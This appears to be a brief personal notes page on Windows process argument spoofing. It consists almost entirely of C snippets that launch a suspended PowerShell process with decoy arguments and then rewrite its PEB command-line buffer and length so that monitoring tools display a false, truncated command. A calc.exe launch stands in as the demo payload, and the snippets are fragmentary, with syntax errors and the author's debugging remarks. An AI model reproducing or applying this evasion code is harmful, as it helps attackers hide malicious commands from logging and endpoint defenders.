Process Argument Spoofing
powershell.exe -c echo "I am safe :)"
Theory
Argument Spoofing
LPSTR fakeArgs = "powershell.exe -c Write-Host 'Args faked ?'";
CreateProcessA(NULL, fakeArgs, NULL, NULL, FALSE, (CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT), NULL, "C:\\Windows\\System32", &si_ex.StartupInfo, &pi)) STATUS = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &dwRet)
pPEB = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PEB));
ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, (PVOID*)pPEB, sizeof(PEB), &szBytes)
pParams = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(RTL_USER_PROCESS_PARAMETERS));
ReadProcessMemory(pi.hProcess, pPEB->ProcessParameters, pParams, sizeof(RTL_USER_PROCESS_PARAMETERS), &szBytes)// We need to convert it to UNICODE, that's just how Windows work internally
LPSTR faikArgs = "powershell.exe -c Write-Host 'Args faked ?'";
LPCWSTR RealArgs = L"powershell.exe -NoExit calc.exe";
WCHAR spoofed[MAX_PATH];
wcscpy_s(spoofed, MAX_PATH, RealArgs);
WriteProcessMemory(pi.hProcess, (PVOID)pParams->CommandLine.Buffer, (PVOID)spoofed, (wcslen(spoofed) + 1) * sizeof(WCHAR), &szBytes)
//DWORD dwCorrectLength = strlen(faikArgs);
// sizeof(faikArgs) = 8 , idk why it was acting weird when I hardcoded 10,
// it was showing full length in process hacker
// It's best to use unicode for both fake & real args
// I'll update on this weird behavior later after more testing & searching
// This below did only print till "powershell.exe" , since * 2 gives ~ unicode length
DWORD dwCorrectLength = 28;
LPVOID lpCmdLength = (PBYTE)pPEB->ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length);
WriteProcessMemory(pi.hProcess, lpCmdLength, &dwCorrectLength, sizeof(DWORD), &szBytes)


Last updated